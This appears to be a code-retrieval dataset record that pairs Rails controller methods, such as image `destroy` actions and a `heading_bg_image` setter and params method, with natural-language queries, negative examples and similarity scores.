[ "def destroy\n @bgimage = Bgimage.find(params[:id])\n @bgimage.destroy\n\n respond_to do |format|\n format.html { redirect_to bgimages_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @admin_bg_image.destroy\n respond_to do |format|\n format.html { redirect_to admin_bg_images_url, notice: 'Bg image was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @banner_img = BannerImg.find(params[:id])\n @banner_img.destroy\n\n respond_to do |format|\n format.html { redirect_to banner_imgs_url }\n format.json { head :no_content }\n end\n end", "def delete\n item = FormImage.last\n id = item[:id]\n item.destroy\n render json: {id: id}\n end", "def destroy\n @catebg = Catebg.find(params[:id])\n @catebg.destroy\n\n respond_to do |format|\n format.html { redirect_to catebgs_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @page_img_bg_setting = PageImgBgSetting.find(params[:id])\n @page_img_bg_setting.destroy\n\n respond_to do |format|\n format.html { redirect_to page_img_bg_settings_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @bwimage = Bwimage.find(params[:id])\n @bwimage.destroy\n\n respond_to do |format|\n format.html { redirect_to bwimages_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @featureimg.destroy\n respond_to do |format|\n format.html { redirect_to featureimgs_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @imagedemo.destroy\n respond_to do |format|\n format.html { redirect_to imagedemos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @image.destroy\n\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def destroy\n @estate_agent_image = EstateAgentsImage.find(params[:id])\n @estate_agent_image.destroy\n\n respond_to do |format|\n format.html { redirect_to estate_agent_image_images_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @image = Image.find(params[:id])\n @image.destroy\n render json: {status: \"success\"}, status: :ok\n end", "def destroy\n #Finds selected image\n @image = Image.find(params[:id])\n #destroy image\n @image.destroy\n respond_to do |format|\n format.html { redirect_to '/admin' }\n format.json { head :ok }\n end\n end", "def destroy\n @sample_photo.destroy\n render json: {message: 'Foto Excluida'} , status: :ok\n end", "def destroy\n @setup_image.destroy\n respond_to do |format|\n format.html { redirect_to :back }\n format.json { head :no_content }\n end\n end", "def destroy\n @structure_photo.destroy\n render json: {message: 'Foto Excluida'} , status: :ok\n end", "def destroy\n ApiAction.new.destroy_image(@logo.uuid_image)\n @logo.destroy\n respond_to do |format|\n format.html { redirect_to campaign_path(@logo.campaign), notice: 'Logo was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @column_image.destroy\n respond_to do |format|\n format.html { redirect_to column_images_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @image_section = ImageSection.find(params[:id])\n @image_section.destroy\n\n respond_to do |format|\n format.html { redirect_to image_sections_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @img.destroy\n respond_to do |format|\n format.html { redirect_to imgs_url, notice: \"Img was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @story_image.destroy\n respond_to do |format|\n format.html { redirect_to story_images_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @image = Image.find(params[:id])\n \n imagen = @image.filename\n \n #function in manage_images.rb\n remove_image_file(imagen)\n \n @image.destroy\n\n respond_to do |format|\n format.html { redirect_to images_url }\n format.json { head :ok }\n end\n end", "def destroy\n @image.destroy\n\n respond_to do |format|\n format.html { redirect_to(images_url) }\n format.json { head :ok }\n end\n end", "def destroy\n @markdown_image.destroy\n respond_to do |format|\n format.html { redirect_to admin_markdown_images_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @image.destroy\n respond_to do |format|\n format.html { redirect_to images_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @image.destroy\n respond_to do |format|\n format.html { redirect_to images_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @image.destroy\n respond_to do |format|\n format.html { redirect_to images_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @image.destroy\n respond_to do |format|\n format.html { redirect_to images_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @image.destroy\n respond_to do |format|\n format.html { redirect_to images_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @image.destroy\n respond_to do |format|\n format.html { redirect_to images_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @text2_image = Text2Image.find(params[:id])\n @text2_image.destroy\n\n respond_to do |format|\n format.html { redirect_to text2_images_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @animal_image.destroy\n respond_to do |format|\n format.html\n format.js {}\n format.json { render json: { ok: true } }\n end\n end", "def destroy\n @rock_photo.destroy\n render json: {message: 'Foto Excluida'} , status: :ok\n end", "def destroy\n @bg_setup = BgSetup.find(params[:id])\n @bg_setup.destroy\n\n respond_to do |format|\n format.html { redirect_to bg_setups_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @entry = Entry.find(params[:id])\n img_choices = @entry.optional_images\n @entry.destroy\n @json_response = {\"response\" => \"success\", \"img_choices\" => img_choices}\n respond_to do |format|\n format.html { redirect_to entries_url }\n format.json { render json: @json_response }\n #format.js\n end\n end", "def destroy\n @avatar.destroy\n respond_to do |format|\n format.json { head :no_content }\n end\n end", "def destroy\n @photo = Photo.find(params[:id])\n File.delete(Rails.root.join(\"app\",'assets','images',@photo.path))\n @photo.destroy\n\n respond_to do |format|\n format.html { redirect_to photos_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @experience_image.destroy\n respond_to do |format|\n format.html { redirect_to experience_images_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @content_image.destroy\n respond_to do |format|\n format.html {redirect_to content_images_url, notice: 'Content image was successfully destroyed.'}\n format.json {head :no_content}\n end\n end", "def destroy\n @objective_image.destroy\n respond_to do |format|\n format.html { redirect_to objective_images_url, notice: 'Objective image was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @image_reference.destroy\n respond_to do |format|\n format.html { redirect_to image_references_url }\n format.json { head :no_content }\n end\n end", "def deleteEntityImage( entity_id, gen_id)\n params = Hash.new\n params['entity_id'] = entity_id\n params['gen_id'] = gen_id\n return doCurl(\"delete\",\"/entity/image\",params)\n end", "def destroy\n @theoretical_background = TheoreticalBackground.find(params[:id])\n @theoretical_background.destroy\n\n respond_to do |format|\n format.html { redirect_to theoretical_backgrounds_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @bg_check.destroy\n respond_to do |format|\n format.html { redirect_to bg_checks_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @image = Gui::Image.find(params[:id])\n @image.destroy\n redirect_to gui_panels_path\n\n # respond_to do |format|\n # format.html { redirect_to gui_images_url }\n # format.json { head :no_content }\n # end\n end", "def destroy\n @img = Img.find(params[:id])\n @img.destroy\n\n respond_to do |format|\n format.html { redirect_to(imgs_url) }\n format.xml { head :ok }\n end\n end", "def destroy\n request(:delete, \"/computing/image/#{uuid}\")\n true\n end", "def destroy\n @image.destroy\n respond_to do |format|\n format.html { redirect_to images_url, notice: 'Image was deleted successfully.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @image = Image.find(params[:id])\n @image.destroy\n\n respond_to do |format|\n format.html { redirect_to images_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @image = Image.find(params[:id])\n @image.destroy\n\n respond_to do |format|\n format.html { redirect_to images_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @image = Image.find(params[:id])\n @image.destroy\n\n respond_to do |format|\n format.html { redirect_to images_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @image = Image.find(params[:id])\n @image.destroy\n\n respond_to do |format|\n format.html { redirect_to images_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @image = Image.find(params[:id])\n @image.destroy\n\n respond_to do |format|\n format.html { redirect_to images_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @image = Image.find(params[:id])\n @image.destroy\n\n respond_to do |format|\n format.html { redirect_to images_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @image = Image.find(params[:id])\n @image.destroy\n\n respond_to do |format|\n format.html { redirect_to images_url }\n format.json { head :no_content }\n end\n end", "def remove_image( image_id )\n image_id = image_id.to_s.upcase\n upload_key = UPLOAD_PATH % image_id\n hires_key = HIRES_PATH % image_id\n lowres_key = LOWRES_PATH % image_id\n\n client.delete_objects(\n bucket: aws.bucket,\n delete: {\n objects: [\n {key: upload_key},\n {key: hires_key},\n {key: lowres_key}\n ]\n }\n )\n end", "def destroy\n @wild_type_background.destroy\n respond_to do |format|\n format.html { redirect_to wild_type_backgrounds_url, notice: \"Wild type background was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end", "def destroy\n @image_url = ImageUrl.find(params[:id])\n @image_url.destroy\n\n respond_to do |format|\n format.html { redirect_to image_urls_url }\n format.json { head :no_content }\n end\n end", "def destroy\n ImagesIndex.delete params[:id]\n respond_to do |format|\n format.html { redirect_to(\"/images_indices\") }\n format.xml { head :ok }\n end\n end", "def destroy\n @imagem = Imagem.find(params[:id])\n @imagem.destroy\n\n respond_to do |format|\n format.html { redirect_to imagems_url }\n format.json { head :ok }\n end\n end", "def destroy\n @client = Client.find(params[:id])\n Client.transaction do\n FileUtils.rm Dir[\"#{Rails.root}/public/files/logo_files/\"+@client.logo.to_s]\n @client.destroy\n\n respond_to do |format|\n format.html { redirect_to clients_url, notice: 'Client was successfully deleted.' }\n format.json { head :no_content }\n end\n end\n end", "def destroy\n @image.destroy\n respond_to do |format|\n format.html { redirect_to :back, notice: 'Imagen eliminada correctamente.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @post_img.destroy\n respond_to do |format|\n format.html { redirect_to post_imgs_url, notice: 'Post img was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @image = Image.find(params[:id])\n @image.destroy\n\n head :no_content\n end", "def destroy\n @photo1 = Photo1.find(params[:id])\n @photo1.destroy\n\n respond_to do |format|\n format.html { redirect_to photo1s_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @image.destroy\n respond_to do |format|\n format.html do\n flash[:notice] = \"Image Successfully deleted\"\n redirect_to :back\n end\n format.json do\n render json: 'success'\n end\n end\n\n end", "def destroy\n @motivational_image = MotivationalImage.find(params[:id])\n @motivational_image.destroy\n\n respond_to do |format|\n format.html { redirect_to motivational_images_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @match_image = MatchImage.find(params[:id])\n @match_image.destroy\n\n respond_to do |format|\n format.html { redirect_to match_images_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @image_upload = ImageUpload.find(params[:id])\n @image_upload.destroy\n\n respond_to do |format|\n format.html { redirect_to image_uploads_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @classfield_image.destroy\n respond_to do |format|\n format.html { redirect_to classfield_images_url, notice: 'Classfield image was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @family_image.destroy\n\n head :no_content\n end", "def destroy\n @featured_image.destroy\n respond_to do |format|\n format.html { redirect_to featured_images_url, notice: 'Featured image was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n Image.find(params[:id]).destroy\n respond_to do |format|\n format.html { redirect_to images_url, notice: 'Image was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @recipe_image.destroy\n respond_to do |format|\n format.html { redirect_to recipe_images_url, notice: 'Recipe image was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def removeImage\n @groof = Greenroof.find(params[:id])\n if not (@groof.images.first.nil?)\n\n\n directory = \"/public/greenroofs/photos/\" + params[:id]\n photoFilename = @groof.images.first.photo\n thumbFilename = @groof.images.first.thumb\n photoPath = Dir.pwd + directory + \"/\" + photoFilename\n thumbPath = Dir.pwd + directory + \"/\" + thumbFilename\n File.delete(photoPath)\n File.delete(thumbPath)\n @groof.images.first.delete\n end\n redirect_to greenroof_path(@groof)\n end", "def destroy\n @category_image = CategoryImage.find(params[:id])\n @category_image.destroy\n\n respond_to do |format|\n format.html { redirect_to category_images_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @image_to_sample.destroy\n respond_to do |format|\n format.html { redirect_to image_to_samples_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @image_to_part.destroy\n respond_to do |format|\n format.html { redirect_to image_to_parts_url }\n format.json { head :no_content }\n end\n end", "def delete_image(id)\n uri = URI.parse(\"http://\" + @location.host + \":\" + @location.port.to_s + \"/v2/images/\" + id)\n return delete_request(uri, @token)\n end", "def destroy\n @web_display_car_image.destroy\n\n head :no_content\n end", "def destroy\n @image_cashiero.destroy\n respond_to do |format|\n format.html { redirect_to image_cashieros_url, notice: 'Image cashiero was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @imageforhome.destroy\n respond_to do |format|\n format.html { redirect_to imageforhomes_url, notice: 'Imageforhome was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @loc_image.destroy\n respond_to do |format|\n format.html { redirect_to loc_images_url }\n format.json { head :no_content }\n end\n end", "def destroy\n output = \"oneimage delete #{resource[:name]} \", self.class.login\n `#{output}`\n end", "def destroy\n @baby_pic = BabyPic.find(params[:id])\n @baby_pic.destroy\n\n respond_to do |format|\n format.html { redirect_to baby_pics_url }\n format.json { head :no_content }\n end\n end", "def destroy\n @item.image.destroy\n @item.destroy\n respond_to do |format|\n format.html { redirect_to items_url, notice: 'Item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @photo.destroy\n\n head :no_content\n end", "def destroy\n @page_image.destroy\n respond_to do |format|\n format.html { redirect_to page_images_url }\n format.json { head :no_content }\n end\n end", "def deleteImagur(delete_hash)\n response = RestClient.get('http://api.imgur.com/2/delete/'+delete_hash)\n case response.code\n when 200\n return 1\n else\n return 0\n end\n end", "def destroy\n image = Image.find(params[:id])\n if image.user_id == current_user.id\n image.destroy\n render json:{}, status:201\n end\n end", "def destroy\n @memberimage = Memberimage.find(params[:id])\n @memberimage.destroy\n\n respond_to do |format|\n format.html { redirect_to memberimages_url }\n format.json { head :no_content }\n end\n end", "def delete_image\n @page.first('span[data-vh-id=\"remove\"]').click\n end", "def destroy\n @design_image_attachment.destroy\n respond_to do |format|\n format.html { redirect_to design_image_attachments_url, notice: 'Design image attachment was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @image.destroy\n respond_to do |format|\n format.html {redirect_to admin_path, notice: 'Image was successfully destroyed.'}\n format.json {head :no_content}\n end\n end", "def destroy\n @image_conmment.destroy\n respond_to do |format|\n format.html { redirect_to image_conmments_url, notice: 'Image conmment was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @pet_image_repo.destroy\n respond_to do |format|\n format.html { redirect_to :back, notice: 'Image was successfully deleted.' }\n format.json { head :no_content }\n end\n end", "def destroy\n id = @slideshow.id\n @slideshow.delete\n render :json => {:id => id}\n end", "def destroy\n @background.destroy\n respond_to do |format|\n format.html { redirect_to backgrounds_url, notice: 'Background was successfully destroyed.' }\n format.json { head :no_content }\n end\n end", "def destroy\n @client_image.destroy\n respond_to do |format|\n format.html { redirect_to client_client_images_path(params[:client_id]), notice: 'Client image was successfully destroyed.' }\n format.json { head :no_content }\n format.js\n end\n end", "def image_destroy\n result = RestaurantManage.image_destroy(@restaurant, params[:pic_id])\n get_restaurant()\n render json: result\n end" ]
[ "0.7598086", "0.7362263", "0.7010724", "0.6887027", "0.6883116", "0.68821466", "0.673138", "0.67213213", "0.6695897", "0.66865927", "0.6625925", "0.6621367", "0.661563", "0.6603099", "0.6593489", "0.65894014", "0.65531045", "0.6537283", "0.6532978", "0.6526688", "0.6518221", "0.6503965", "0.650206", "0.649896", "0.64851946", "0.64851946", "0.64851946", "0.64851946", "0.64851946", "0.64851946", "0.6474339", "0.64610773", "0.6459446", "0.64575934", "0.6456372", "0.64546144", "0.64538604", "0.6451099", "0.64502704", "0.64495987", "0.64473826", "0.64439774", "0.6443623", "0.64420605", "0.64209306", "0.64109653", "0.6399179", "0.6395601", "0.6387037", "0.6387037", "0.6387037", "0.6387037", "0.6387037", "0.6387037", "0.6387037", "0.6369337", "0.63680696", "0.6367542", "0.63669", "0.6356503", "0.6351576", "0.6347833", "0.6347581", "0.6346702", "0.634596", "0.6342916", "0.6341692", "0.6338358", "0.63376", "0.6336944", "0.63325596", "0.63306797", "0.63277084", "0.63240725", "0.63239354", "0.6318504", "0.6317828", "0.63054836", "0.63018316", "0.630095", "0.629956", "0.6298874", "0.6293872", "0.6289635", "0.62864023", "0.62847817", "0.6282676", "0.62800294", "0.627705", "0.62725025", "0.6268634", "0.62672305", "0.62670016", "0.62655014", "0.6263723", "0.6262184", "0.6259177", "0.6258544", "0.62569404", "0.62524724" ]
0.7694713
0
Use callbacks to share common setup or constraints between actions.
def set_heading_bg_image @heading_bg_image = HeadingBgImage.find(params[:id]) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def set_required_actions\n # TODO: check what fields change to asign required fields\n end", "def action_hook; end", "def run_actions; end", "def define_action_hook; end", "def actions; end", "def define_action_helpers\n if super && action == :save\n @instance_helper_module.class_eval do\n define_method(:valid?) do |*args|\n self.class.state_machines.fire_event_attributes(self, :save, false) { super(*args) }\n end\n end\n end\n end", "def add_actions; end", "def callbacks; end", "def callbacks; end", "def setup *actions, &proc\n (@setup_procs ||= []) << [proc, actions.size > 0 ? actions : [:*]]\n end", "def define_action_helpers; end", "def post_setup\n end", "def action_methods; end", "def action_methods; end", "def action_methods; end", "def before_setup; end", "def action_run\n end", "def execute(setup)\n @action.call(setup)\n end", "def define_action_helpers?; end", "def set_actions\n actions :all\n end", "def action_done(action)\n dispatch = { :migrate => :done_migrating, :map => :done_mapping, :reduce =>\n :done_reducing, :finalize => :done_finalizing } \n self.send dispatch[action[:action]], action\n end", "def dependencies action, &block\n @actions.each do |other|\n if action[:requires].include? other[:provide]\n block.call other\n end\n end\n end", "def setup!\n return unless @setup_procs\n http_actions = actions\n @setup_procs.each do |setup_proc|\n proc, actions = setup_proc\n @setup__actions = actions.map do |action|\n\n action.is_a?(Regexp) ?\n http_actions.select { |a| a.to_s =~ action } :\n action.is_a?(String) && action =~ /\\A\\./ ?\n http_actions.map { |a| a.to_s << action if format?(a).include?(action) }.compact :\n action\n\n end.flatten\n self.class_exec &proc\n @setup__actions = nil\n end\n @setup_procs = nil\n end", "def before_actions(*logic)\n self.before_actions = logic\n end", "def setup_handler\n end", "def set_action(opts)\n opts = check_params(opts,[:actions])\n super(opts)\n end", "def setup(action)\n @targets.clear\n unless action.item.target_filters.empty?\n @targets = SES::TargetManager.make_targets(action)\n else\n item = action.item\n if item.for_opponent?\n @targets = $game_troop.alive_members\n elsif item.for_dead_friend?\n @targets = $game_party.battle_members.select { |actor| actor.dead? }\n else\n $game_party.battle_members.select { |actor| actor.alive? }\n end\n end\n @item_max = @targets.size\n create_contents\n refresh\n show\n activate\n end", "def action; end", "def action; end", "def action; end", "def action; end", "def action; end", "def workflow\n end", "def revisable_shared_setup(args, block)\n class << self\n attr_accessor :revisable_options\n end\n options = args.extract_options!\n self.revisable_options = Options.new(options, &block)\n \n self.send(:include, Common)\n self.send(:extend, Validations) unless self.revisable_options.no_validation_scoping?\n self.send(:include, WithoutScope::QuotedColumnConditions)\n end", "def setup\n @action = SampleActionAndroid.new(os_name: 'android',\n app_name: APP_PATH)\n end", "def before(action)\n invoke_callbacks *self.class.send(action).before\n end", "def process_action(...)\n send_action(...)\n end", "def before_dispatch(env); end", "def after_actions(*logic)\n self.after_actions = logic\n end", "def setup\n # override and do something appropriate\n end", "def setup(client)\n return unless @setup\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n actions.each do |action|\n action.execute(client)\n end\n self\n end", "def setup(_context)\n end", "def setup(resources) ; end", "def validate_actions\n errors.add(:base, :should_give_at_least_one_action) if !manage? && !forecasting? && !read? && !api?\n end", "def setup\n @resource_config = {\n :callbacks => {\n :before_create => nil,\n :after_create => nil,\n :before_update => nil,\n :after_update => nil,\n :before_destroy => nil,\n :after_destroy => nil,\n },\n :child_assoc => nil,\n :model => nil,\n :parent => nil,\n :path => nil,\n :permission => {},\n :properties => {},\n :relation => {\n :create => nil,\n :delete => nil,\n },\n :roles => nil,\n }\n end", "def determine_valid_action\n\n end", "def process_shared\n handle_taxes\n handle_shippings\n create_adjustments_from_params\n handle_status\n handle_inventory_refunds\n handle_payment_transactions\n order.updater.update\n end", "def startcompany(action)\n @done = true\n action.setup\n end", "def init_actions\n am = action_manager()\n am.add_action(Action.new(\"&Disable selection\") { @selection_mode = :none; unbind_key(32); bind_key(32, :scroll_forward); } )\n am.add_action(Action.new(\"&Edit Toggle\") { @edit_toggle = !@edit_toggle; $status_message.value = \"Edit toggle is #{@edit_toggle}\" })\n end", "def event_callbacks(event, metadata={})\n case event\n when :reset, :review\n if confirmed\n update_attributes(confirmed: false)\n end\n when :confirm\n confirm\n # trigger :order for all applicable items\n # NOTE: :order event is common to both physical and digital items\n items.each do |i|\n if i.event_permitted(:order)\n user_id = last_transition.user_id\n i.trigger!(:order, { order_id: id, user_id: user_id })\n end\n end\n when :complete_work\n request = metadata[:request]\n work_complete_notification(request)\n when :close\n close\n end\n if event != :close && !open\n reopen\n end\n end", "def setup_action\n return unless PONY::ERRNO::check_sequence(current_act)\n new_sequence = @action_sequence[@sequence_index+1...@action_sequence.size]\n @sequence_index = 0\n new_sequence = DND::SkillSequence::ACTS[@acts[1]] + new_sequence\n execute_sequence\n end", "def define_tasks\n define_weave_task\n connect_common_tasks\n end", "def setup(&block)\n define_method(:setup, &block)\n end", "def setup\n transition_to(:setup)\n end", "def setup\n transition_to(:setup)\n end", "def action\n end", "def setup( *args )\n\t\t\tself.class.setupBlocks.each {|sblock|\n\t\t\t\tdebugMsg \"Calling setup block method #{sblock}\"\n\t\t\t\tself.send( sblock )\n\t\t\t}\n\t\t\tsuper( *args )\n\t\tend", "def config(action, *args); end", "def setup\n @setup_proc.call(self) if @setup_proc\n end", "def before_action \n end", "def setup_callbacks\n defined_callbacks.each do |meth|\n unless respond_to?(\"call_#{meth}_callbacks\".to_sym)\n self.class.module_eval <<-EOE\n def call_#{meth}_callbacks(*args)\n plugin_store.each {|a| a.call_#{meth}_callbacks(*args) } if respond_to?(:plugin_store) && plugin_store\n self.send :#{meth}, *args if respond_to?(:#{meth})\n end\n EOE\n end\n end\n end", "def action\n end", "def matt_custom_action_begin(label); end", "def setup\n # override this if needed\n end", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def setup\n\t\t\t\t\t\t# Do nothing\n\t\t\t\tend", "def action(options,&callback)\n new_action = Action===options ? options : Action.new(options,&callback)\n # replace any with (shared name/alias or both default) + same arity\n @actions.delete_if do |existing_action|\n ((existing_action.names & new_action.names).size > 0 ||\n existing_action.default? && new_action.default?) &&\n existing_action.required.size == new_action.required.size &&\n existing_action.optional.size <= new_action.optional.size\n end\n @actions = (@actions + [new_action]).sort\n new_action\n end", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action\n end", "def after(action)\n invoke_callbacks *options_for(action).after\n end", "def pre_task\n end", "def setup(server)\n server.on('beforeMethod', method(:before_method), 10)\n end", "def add_actions\n attribute = machine.attribute\n name = self.name\n \n owner_class.class_eval do\n define_method(name) {self.class.state_machines[attribute].events[name].fire(self)}\n define_method(\"#{name}!\") {self.class.state_machines[attribute].events[name].fire!(self)}\n define_method(\"can_#{name}?\") {self.class.state_machines[attribute].events[name].can_fire?(self)}\n end\n end", "def init_actions\n @select_action = SelectAction.new\n @endpoint_mouse_action = EndpointMouseAction.new\n @move_action = MoveAction.new\n end", "def setup_signals; end", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def after_created\r\n return unless compile_time\r\n Array(action).each do |action|\r\n run_action(action)\r\n end\r\nend", "def set_target_and_action target, action\n self.target = target\n self.action = 'sugarcube_handle_action:'\n @sugarcube_action = action.respond_to?('weak!') ? action.weak! : action\n end", "def initialize(*args)\n super\n @action = :set\nend", "def after_set_callback; end", "def setup\n #implement in subclass;\n end", "def lookup_action; end", "def setup &block\n if block_given?\n @setup = block\n else\n @setup.call\n end\n end", "def setup_action\n return TSBS.error(@acts[0], 1, @used_sequence) if @acts.size < 2\n actions = TSBS::AnimLoop[@acts[1]]\n if actions.nil?\n show_action_error(@acts[1])\n end\n @sequence_stack.push(@acts[1])\n @used_sequence = @acts[1]\n actions.each do |acts|\n @acts = acts\n execute_sequence\n break if @break_action\n end\n @sequence_stack.pop\n @used_sequence = @sequence_stack[-1]\n end", "def release_actions; end", "def around_hooks; end", "def save_action; end", "def setup(easy)\n super\n easy.customrequest = @verb\n end", "def action_target()\n \n end", "def setup\n callback(:setup) do\n notify(:setup)\n migration_check.last_deployed_commit\n end\n end", "def setup\n return unless @setup\n\n actions = @setup['setup'].select { |action| action['do'] }.map { |action| Action.new(action['do']) }\n run_actions_and_retry(actions)\n self\n end", "def before_setup\n # do nothing by default\n end", "def my_actions(options)\n @setup = false\n get_template_part(\"custom_used\",\"action_users\",true)\n end", "def default_action; end", "def setup(&blk)\n @setup_block = blk\n end", "def callback_phase\n super\n end", "def advice\n end", "def _handle_action_missing(*args); end", "def duas1(action)\n action.call\n action.call\nend", "def shared_action(name, &block)\n @controller.shared_actions[name] = block\n end", "def before_action action, &block\n @audience[:before][action] ||= Set.new\n @audience[:before][action] << block\n end", "def setup_initial_state\n\n state_a = State.new(\"a\", 0)\n state_b = State.new(\"b\", 0)\n state_c = State.new(\"c\", 10)\n\n move_to_b = Action.new(\"move_to_b\", 1, state_b)\n\n move_to_c = Action.new(\"move_to_c\", 1, state_c)\n\n state_a.actions = [move_to_b, move_to_c]\n\n return state_a\n \nend" ]
[ "0.6163163", "0.6045976", "0.5946146", "0.591683", "0.5890051", "0.58349305", "0.5776858", "0.5703237", "0.5703237", "0.5652805", "0.5621621", "0.54210985", "0.5411113", "0.5411113", "0.5411113", "0.5391541", "0.53794575", "0.5357573", "0.53402257", "0.53394014", "0.53321576", "0.53124547", "0.529654", "0.5296262", "0.52952296", "0.52600986", "0.52442724", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.52385926", "0.5232394", "0.523231", "0.5227454", "0.52226824", "0.52201617", "0.5212327", "0.52079266", "0.52050185", "0.51754695", "0.51726824", "0.51710224", "0.5166172", "0.5159343", "0.51578903", "0.51522785", "0.5152022", "0.51518047", "0.51456624", "0.51398855", "0.5133759", "0.5112076", "0.5111866", "0.5111866", "0.5110294", "0.5106169", "0.509231", "0.50873137", "0.5081088", "0.508059", "0.50677156", "0.50562143", "0.5050554", "0.50474834", "0.50474834", "0.5036181", "0.5026331", "0.5022976", "0.5015441", "0.50121695", "0.5000944", "0.5000019", "0.4996878", "0.4989888", "0.4989888", "0.49864885", "0.49797225", "0.49785787", "0.4976161", "0.49683493", "0.4965126", "0.4958034", "0.49559742", "0.4954353", "0.49535993", "0.4952725", "0.49467874", "0.49423352", "0.49325448", "0.49282882", "0.49269363", "0.49269104", "0.49252945", "0.4923091", "0.49194667", "0.49174926", "0.49173003", "0.49171105", "0.4915879", "0.49155936" ]
0.0
-1
Never trust parameters from the scary internet, only allow the white list through.
def heading_bg_image_params params.require(:heading_bg_image).permit(:heading_bg_image, :page_heading_id) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def strong_params\n params.require(:user).permit(param_whitelist)\n end", "def strong_params\n params.require(:listing_member).permit(param_whitelist)\n end", "def allow_params_authentication!; end", "def allowed_params\n ALLOWED_PARAMS\n end", "def default_param_whitelist\n [\"mode\"]\n end", "def param_whitelist\n [:role, :title]\n end", "def expected_permitted_parameter_names; end", "def safe_params\n params.except(:host, :port, :protocol).permit!\n end", "def strong_params\n params.require(:team_member).permit(param_whitelist)\n end", "def permitir_parametros\n \t\tparams.permit!\n \tend", "def strong_params\n params.require(:community).permit(param_whitelist)\n end", "def permitted_strong_parameters\n :all #or an array of parameters, example: [:name, :email]\n end", "def strong_params\n params.require(:education).permit(param_whitelist)\n end", "def restricted_params\n #params.require(self.controller_name.classify.underscore.to_sym).permit([])\n raise(\"No strong params set, override restricted_params method in your controller. E.g. params.require(:model).permit(:attribute1, :attribute2)\")\n end", "def allowed_params\n params.require(:user).permit(:username, :email, :password, :password_confirmation)\n end", "def param_whitelist\n [:rating, :review]\n end", "def param_whitelist\n whitelist = [\n :username, :name,\n :parent_id,\n :headline, :description, :video,\n :policy, :signup_mode, :category,\n :website, :facebook, :twitter, :linkedin,\n :founded_at,\n privacy: [\n :events,\n :resources\n ],\n permission: [\n :profile,\n :members,\n :children,\n :statistics,\n :posts,\n :listings,\n :resources,\n :events\n ],\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:parent_id)\n unless current_user.role_in(@community) === 'owner'\n whitelist.delete(:privacy)\n whitelist.delete(:permission)\n end\n end\n \n whitelist\n end", "def param_whitelist\n if @user.present? && current_user != @user\n return [:followed]\n end\n \n whitelist = [\n :username, :email, :password,\n :first_name, :last_name,\n :birthday, :gender,\n :headline, :biography, :ask_about, :focus,\n :website, :facebook, :linkedin, :twitter, :github,\n roles: [],\n skills: [],\n interests: [],\n privacy: { contact: [] },\n location: [\n :description,\n :street,\n :city,\n :state,\n :zip,\n :country,\n :latitude,\n :longitude\n ]\n ]\n \n if action_name === 'update'\n whitelist.delete(:email)\n whitelist.delete(:password)\n end\n \n whitelist\n end", "def user_params \n \tparams.require(:user).permit(:name, :email, :password, :password_confirmation)# preventing CSTR\n end", "def user_params\n params.permit(:name, :phoneNumber, :address, :postalCode, :local, :link, :counter, :latitude, :longitude) \n end", "def 